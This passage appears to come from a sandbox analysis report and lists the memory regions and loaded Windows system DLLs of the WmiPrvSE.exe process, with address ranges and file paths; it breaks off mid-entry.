Region: id = 1358 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1359 start_va = 0x380000 end_va = 0x507fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1360 start_va = 0x510000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1361 start_va = 0x6a0000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1362 start_va = 0x760000 end_va = 0xa2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1363 start_va = 0xa30000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 1364 start_va = 0xa40000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 1365 start_va = 0xa50000 end_va = 0xa5cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1366 start_va = 0xa80000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1367 start_va = 0xb00000 end_va = 0xb02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 1368 start_va = 0xb60000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 1369 start_va = 0xbf0000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 1370 start_va = 0xc70000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 1371 start_va = 0xd50000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1372 start_va = 0xe00000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 1373 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 1374 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 1375 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1376 start_va = 0x71ee0000 end_va = 0x71ee2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1377 start_va = 0x71ef0000 end_va = 0x71ef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 1378 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1379 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1380 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1381 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1382 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1383 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1384 start_va = 0x13fc80000 end_va = 0x13fcebfff monitored = 0 entry_point = 0x13fcbb450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1385 start_va = 0x7fef22d0000 end_va = 0x7fef24c9fff monitored = 1 entry_point = 0x7fef22e4c9c region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1386 start_va = 0x7fef6a50000 end_va = 0x7fef6a92fff monitored = 0 entry_point = 0x7fef6a71b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1387 start_va = 0x7fef8d20000 end_va = 0x7fef8d31fff monitored = 0 entry_point = 0x7fef8d289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1388 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1389 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1390 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1391 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1392 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1393 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 1 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1394 start_va = 0x7fef9740000 end_va = 0x7fef9749fff monitored = 0 entry_point = 0x7fef97431c8 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 1395 start_va = 0x7fef9750000 end_va = 0x7fef9761fff monitored = 0 entry_point = 0x7fef975aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 1396 start_va = 0x7fefa1f0000 end_va = 0x7fefa1fefff monitored = 0 entry_point = 0x7fefa1f1040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1397 start_va = 0x7fefa5f0000 end_va = 0x7fefa5f7fff monitored = 0 entry_point = 0x7fefa5f11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1398 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1399 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1400 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1401 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1402 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1403 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1404 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1405 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1406 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1407 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1408 start_va = 0x7fefc2f0000 end_va = 0x7fefc346fff monitored = 0 entry_point = 0x7fefc2f5e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1409 start_va = 0x7fefc350000 end_va = 0x7fefc37ffff monitored = 0 entry_point = 0x7fefc35194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1410 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1411 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1412 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1413 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1414 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1415 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1416 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1417 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1418 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1419 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1420 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1421 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1422 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1423 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1424 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1425 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1426 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1427 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1428 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1429 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1430 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1431 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1432 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1433 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1434 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1435 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1436 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1437 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1438 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1439 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1440 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1441 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1442 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1443 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1444 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1445 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1446 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1447 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1448 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1449 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1450 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1451 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1452 start_va = 0xa60000 end_va = 0xa61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 1453 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1454 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1564 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1565 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1726 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1727 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1789 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1790 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1853 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1854 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1914 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1915 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1978 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1979 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2043 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2044 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2106 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2108 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2163 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2164 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2232 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2233 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2295 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2296 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2358 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2359 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2422 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2423 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2484 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2485 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2540 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2547 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = 